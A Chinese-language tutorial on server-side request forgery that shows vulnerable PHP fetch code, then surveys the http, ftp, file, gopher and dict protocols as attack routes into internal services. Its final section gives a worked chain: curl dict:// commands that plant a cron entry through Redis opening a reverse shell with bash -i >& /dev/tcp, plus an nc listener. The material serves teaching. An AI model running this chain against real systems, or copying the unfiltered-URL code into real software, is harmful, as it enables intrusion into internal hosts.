SSRF漏洞简介

SSRF(Server-side Request Forge,服务端请求伪造)是一种由攻击者构造请求,由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

原理

由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
在PHP中,会导致SSRF的函数有如下:

  • curl_exec

    <?php
    $ch = curl_init(); //初始化
    curl_setopt($ch, CURLOPT_URL, $_GET["url"]); //设置URL参数
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    $output = curl_exec($ch); 、、抓取URL
    curl_close($ch); //释放资源
    ?>
  • file_get_contents

    $content = file_get_contents($_POST['url']);
    echo $content;
  • fsockopen

    <?php 
    function GetFile($host,$port,$link) { 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
    if (!$fp) { 
        echo "$errstr (error number $errno) \n"; 
    } else { 
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
    }
    ?>

    fsockopen 函数实现获取用户制定 URL 的数据(文件或者 HTML)。这个函数会使用 socket 跟服务器建立 TCP 连接,传输原始数据
    fsockopen作用相似的还有pfsockopen,两者之间的区别在于前者是一次性连接,后者是可持续性的。

协议

SSRF的攻击是建立在协议的基础上的,有不同的协议才能实现不同的攻击。

http协议

最常见的协议,可以用与绕过对外网IP的限制,访问一些敏感内容。

ftp协议

也是常见的协议之一,常用于向远程服务器请求下载与上传。
在SSRF中,可以通过构建恶意ftp服务器来攻击内网应用。
在*CTF中有一道题oh-my-bet,考察SSRF中通过ftp打内网mongodb。题目wp与复现环境:
oh-my-bet

file协议

读取本地文件
命令格式:file://文件绝对路径

gopher协议

在http协议出现之前,gopher协议曾是互联网的主流。虽然现在被替代,但在ssrf中是万金油一般的存在。很多对内网的攻击都依靠他实现。
利用 gopher 的方式有 FTP 爆破,REDIS,MYSQL,FAST CGI,XXE

使用限制:

常见的内网服务:

  • Redis 6379
  • FPM 9000
  • Smtp 25
  • Mysql 3306

我们可用通过gopher来想这写内网服务发送恶意数据包,构造数据可以通过Gopherus实现,简单原理是构造原始十六进制数据再URL编码。

打Redis

打fast-cgi

dict协议

dict协议是词典网络协议,在RFC 2009中进行描述。它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。
我们可以用dict协议探测端口是否开放,存在什么服务。dict的命令格式:dict://serverip:port/命令:参数
用dict协议与gopher协议不同,dict协议需要一条一条执行

使用dict对端口探测:

?url=dict://127.0.0.1:6379

可以与BP联动爆破

举例说明一下利用dict协议打redis

//开启反弹shell的监听
nc -l 7777
# 2、依次执行下面的命令
curl dict://192.168.0.119:6379/set:mars:"\n\n* * * * * root bash -i >& /dev/tcp/ip/7777 0>&1\n\n"
curl dict://127.0.0.1:6379/config:set:dir:/etc/
curl dict://127.0.0.1:6379/config:set:dbfilename:crontab
curl dict://127.0.0.1:6379/bgsave

结语

下一期讲bypass和通过跳转升级SSRF


"孓然一身 , 了无牵挂"